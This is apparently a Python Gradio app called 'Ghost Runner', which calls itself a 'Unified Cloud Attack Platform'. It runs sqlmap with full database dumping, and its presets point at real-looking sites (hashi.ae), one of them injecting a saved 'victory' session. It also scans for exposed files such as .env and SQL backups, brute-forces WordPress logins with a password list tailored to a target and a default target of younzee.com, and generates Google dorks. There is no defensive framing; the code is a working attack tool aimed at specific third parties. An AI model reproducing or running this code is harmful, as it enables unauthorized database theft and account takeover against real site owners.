Ghost-Runner2 / app.py
TGPro1's picture
Update app.py
dbef319 verified
import gradio as gr
import subprocess
import os
import shutil
from pathlib import Path
import requests
import re
from concurrent.futures import ThreadPoolExecutor
import time
import random
# --- Session Restoration Logic ---
def restore_session():
# SQLMap in Docker uses /root/.local/share/sqlmap/output/
session_source = "session.sqlite"
target_base = Path("/root/.local/share/sqlmap/output/hashi.ae")
if os.path.exists(session_source):
try:
target_base.mkdir(parents=True, exist_ok=True)
shutil.copy(session_source, target_base / "session.sqlite")
# Also try the www. variant
target_www = Path("/root/.local/share/sqlmap/output/www.hashi.ae")
target_www.mkdir(parents=True, exist_ok=True)
shutil.copy(session_source, target_www / "session.sqlite")
return f"βœ… Victory Session Injected into {target_base}"
except Exception as e:
return f"⚠️ Session restore warning: {str(e)}"
return "ℹ️ No session file found in repository."
def run_sqlmap(url, threads, level, risk, tamper, techn, proxy, extra_args):
# Restore session first
session_status = restore_session()
if not url:
yield f"{session_status}\n❌ Error: Target URL is required."
return
# Base command
cmd = ["python3", "/app/sqlmap-dev/sqlmap.py", "-u", url, "--batch"]
# Performance & Level
cmd += ["--threads", str(int(threads))]
cmd += ["--level", str(int(level))]
cmd += ["--risk", str(int(risk))]
# Specific options
if tamper:
cmd += ["--tamper", tamper]
if techn:
cmd += ["--technique", techn]
if proxy:
cmd += ["--proxy", proxy]
if extra_args:
cmd += extra_args.split()
yield f"{session_status}\nπŸš€ Launching SQLMAP Cloud Runner...\nπŸ›°οΈ Command: {' '.join(cmd)}\n\n"
try:
process = subprocess.Popen(
cmd,
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
text=True,
bufsize=1,
universal_newlines=True
)
full_log = ""
for line in process.stdout:
full_log += line
yield full_log
process.wait()
if process.returncode == 0:
yield full_log + "\nβœ… Scan completed successfully."
else:
yield full_log + f"\n⚠️ Scan stopped with return code {process.returncode}."
except Exception as e:
yield f"❌ Fatal Error: {str(e)}"
# Pre-filled shortcuts
def set_hashi_victory():
return (
"https://hashi.ae/shop/page/4/?add-to-cart=638",
10, 5, 3,
"", "U", "",
"--dbms=Oracle --dump --force-ssl --unstable --random-agent --no-cast"
)
def set_search_attack():
return (
"https://hashi.ae/?s=iphone",
10, 5, 3,
"space2comment", "BEU", "",
"--dbms=Oracle --dump --force-ssl --unstable --random-agent --no-cast"
)
def set_mysql_attack():
return (
"https://hashi.ae/?s=iphone",
10, 5, 3,
"space2comment", "BEU", "",
"--dbms=MySQL --dump --force-ssl --random-agent --no-cast"
)
# --- Auto Hunter Logic (Merged) ---
COMMON_PATHS = [
".env", "wp-config.php.bak", "config.php.bak", "db.sql", "database.sql", "dump.sql", "backup.zip",
"admin/", "login/", "wp-admin/", "dashboard/", "panel/", "user/", "auth/", "phpinfo.php",
"robots.txt", "sitemap.xml", ".git/HEAD", ".vscode/sftp.json"
]
def auto_hunt(domain):
if not domain:
yield "❌ Enter a domain first."
return
domain = domain.replace("https://", "").replace("http://", "").strip("/")
base_url = f"https://{domain}"
yield f"πŸš€ Launching Smart Auto-Hunter on {base_url}...\n"
def check_path(path):
url = f"{base_url}/{path}"
try:
r = requests.get(url, timeout=3, headers={"User-Agent": "Mozilla/5.0 (AutoHunter)"})
code = r.status_code
size = len(r.content)
if code == 200:
if size < 500 and "do not exist" in r.text.lower():
return None
return f"βœ… FOUND: {url} (Size: {size})"
elif code == 403:
return f"πŸ”’ FORBIDDEN: {url}"
return None
except:
return None
results = []
with ThreadPoolExecutor(max_workers=10) as executor:
futures = [executor.submit(check_path, p) for p in COMMON_PATHS]
for f in futures:
res = f.result()
if res:
results.append(res)
yield "\n".join(results)
if not results:
yield "\n🀷 No standard vulnerabilities found."
else:
yield "\nπŸŽ‰ HUNT COMPLETE!"
# --- Brute Force Logic (Fixed v2.2) ---
# Removed 'admin' from default list to avoid stopping early on false positives
PASSWORDS = [
"password", "123456", "hashi", "hashi123", "hashi2024", "hashi2025", "hashi.ae",
"admin123", "admin2024", "admin2025", "qwerty", "letmein", "master", "root",
"dragon", "superman", "welcome", "welcome1", "pass123", "love", "secret",
"hashi_admin", "admin_hashi", "dubai", "uae", "uae123", "abudhabi", "dubai123"
]
HEADERS = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
}
def brute_force(url, username, custom_list):
if not url or not username:
yield "❌ URL and Username required."
return
pass_list = PASSWORDS.copy()
if custom_list:
pass_list += [p.strip() for p in custom_list.split('\n') if p.strip()]
yield f"πŸš€ STARTING PLAN E: BRUTE FORCE on {username}@{url}\n"
session = requests.Session()
session.headers.update(HEADERS)
for pwd in pass_list:
try:
time.sleep(random.uniform(0.5, 1.5))
data = {
"log": username, "pwd": pwd, "wp-submit": "Log In",
"redirect_to": f"{url}/wp-admin/", "testcookie": "1"
}
yield f"πŸ”‘ Testing: {pwd} ... "
r = session.post(url, data=data, timeout=5, allow_redirects=True)
# STRICT CHECK v2.2
# 1. Login Cookie Check is best
cookies = session.cookies.get_dict()
logged_in_cookie = any('wordpress_logged_in' in c for c in cookies)
# 2. Strict Content Check
success_content = any(s in r.text for s in ["Log Out", "Howdy", "tableau de bord"])
# 3. Strict URL Check (Must NOT contain wp-login.php)
is_redirected_to_admin = "wp-admin" in r.url and "wp-login.php" not in r.url
if logged_in_cookie or success_content or is_redirected_to_admin:
yield "βœ… SUCCESS! πŸ”“\n"
yield f"πŸŽ‰ CREDENTIALS FOUND: {username}:{pwd}\n"
return
elif "incorrect_password" in r.text or "lost your password" in r.text:
yield "❌ Failed.\n"
else:
yield "❌ Failed (Generic).\n"
except Exception as e:
yield f"⚠️ Error: {str(e)}\n"
yield "\nπŸ’€ Wordlist Exhausted."
# --- Dork Studio Logic ---
def generate_dorks(domain, targeted_extensions, find_admin, find_files, find_errors):
dorks = []
base = f"site:{domain}" if domain else ""
if find_admin:
keywords = ["admin", "login", "dashboard", "portal", "cpanel", "wp-admin"]
for k in keywords:
dorks.append(f"Admin Search: {base} inurl:{k}")
if find_files:
exts = ["env", "log", "sql", "bak", "txt", "config"]
if targeted_extensions:
exts += targeted_extensions.split(",")
for ext in exts:
if ext.strip():
dorks.append(f"File Exposure ({ext.strip()}): {base} ext:{ext.strip()}")
dorks.append(f"{base} intitle:\"index of\"")
if find_errors:
errors = ["SQL syntax", "warning: mysql_", "unclosed quotation mark", "syntax error"]
for err in errors:
dorks.append(f"Error Leak: {base} intext:\"{err}\"")
return "\n".join(dorks)
with gr.Blocks() as demo:
gr.Markdown("# 🌊 GHOST RUNNER v2.2 (STRICT) πŸ‘»")
gr.Markdown("Unified Cloud Attack Platform: SQLMap + Auto-Hunter + Brute Force.")
with gr.Tabs():
# TAB 1: ATTACK RUNNER (SQLMap)
with gr.TabItem("βš”οΈ SQL Attack Runner"):
with gr.Row():
with gr.Column(scale=2):
url_input = gr.Textbox(label="🎯 Target URL", placeholder="https://example.com/page.php?id=1")
with gr.Tabs():
with gr.TabItem("πŸš€ Performance"):
with gr.Row():
threads_input = gr.Slider(minimum=1, maximum=10, step=1, value=10, label="Threads")
level_input = gr.Slider(minimum=1, maximum=5, step=1, value=5, label="Level")
risk_input = gr.Slider(minimum=1, maximum=3, step=1, value=3, label="Risk")
with gr.TabItem("πŸ›‘οΈ Advanced"):
tamper_input = gr.Textbox(label="πŸ§ͺ Tampers", placeholder="space2comment,randomcase")
techn_input = gr.Textbox(label="πŸ“‘ Technique", placeholder="U (UNION), B (Blind), etc.")
proxy_input = gr.Textbox(label="πŸ”Œ Proxy (Optional)", placeholder="http://127.0.0.1:8080")
extra_input = gr.Textbox(label="βš™οΈ Extra Arguments", placeholder="--dbms=Oracle --dump --batch")
with gr.Row():
btn_run = gr.Button("πŸ”₯ START SCAN", variant="primary")
with gr.Row():
btn_hashi = gr.Button("🏰 Hashi Victory", variant="secondary")
btn_search = gr.Button("πŸ” Search (Oracle)", variant="stop")
btn_mysql = gr.Button("🐬 Search (MySQL - Plan D)", variant="secondary")
btn_stop = gr.Button("πŸ›‘ STOP", variant="stop")
with gr.Column(scale=3):
output_log = gr.Code(label="πŸ“Š LIVE CLOUD LOGS", language="markdown", interactive=False, lines=30)
# TAB 2: AUTO HUNTER
with gr.TabItem("πŸ€– Auto-Hunter (Recon)"):
with gr.Row():
with gr.Column():
t_domain = gr.Textbox(label="Target Domain", placeholder="younzee.com")
btn_auto = gr.Button("πŸš€ START AUTO-SCAN", variant="primary")
with gr.Column():
t_output = gr.Code(label="Live Results", language="markdown", lines=20)
# TAB 3: BRUTE FORCE (Plan E)
with gr.TabItem("πŸ₯Š Brute Force (Plan E)"):
with gr.Row():
with gr.Column():
bf_url = gr.Textbox(label="Login URL", value="https://younzee.com/wp-login.php")
bf_user = gr.Textbox(label="Username", value="admin")
bf_pass = gr.Textbox(label="Custom Passwords", lines=5)
btn_bf = gr.Button("πŸ₯Š LAUNCH ATTACK", variant="stop")
with gr.Column():
bf_out = gr.Code(label="Brute Force Logs", language="markdown", lines=20)
# TAB 4: RECON STUDIO (Legacy)
with gr.TabItem("πŸ¦… Dork Studio"):
with gr.Row():
with gr.Column():
domain_input = gr.Textbox(label="Target Domain", placeholder="example.com")
ext_input = gr.Textbox(label="Custom Extensions", placeholder="jsp, php, asp")
with gr.Group():
check_admin = gr.Checkbox(label="Find Admin Panels", value=True)
check_files = gr.Checkbox(label="Find Sensitive Files", value=True)
check_errors = gr.Checkbox(label="Find SQL Errors", value=True)
btn_gen = gr.Button("πŸ” Generate Recon Dorks", variant="primary")
with gr.Column():
dork_output = gr.Textbox(label="Generated Dorks", lines=20)
# Event handlers
btn_run.click(run_sqlmap,inputs=[url_input, threads_input, level_input, risk_input, tamper_input, techn_input, proxy_input, extra_input], outputs=output_log, queue=True)
btn_hashi.click(set_hashi_victory, outputs=[url_input, threads_input, level_input, risk_input, tamper_input, techn_input, proxy_input, extra_input])
btn_search.click(set_search_attack, outputs=[url_input, threads_input, level_input, risk_input, tamper_input, techn_input, proxy_input, extra_input])
btn_mysql.click(set_mysql_attack, outputs=[url_input, threads_input, level_input, risk_input, tamper_input, techn_input, proxy_input, extra_input])
btn_auto.click(auto_hunt, inputs=t_domain, outputs=t_output)
btn_bf.click(brute_force, inputs=[bf_url, bf_user, bf_pass], outputs=bf_out)
btn_gen.click(generate_dorks, inputs=[domain_input, ext_input, check_admin, check_files, check_errors], outputs=dork_output)
if __name__ == "__main__":
print("✨ Ghost Runner v2.2 (Strict) Command Center Live.")
demo.queue().launch(
server_name="0.0.0.0",
server_port=7860,
theme=gr.themes.Soft(primary_hue="blue", secondary_hue="slate")
)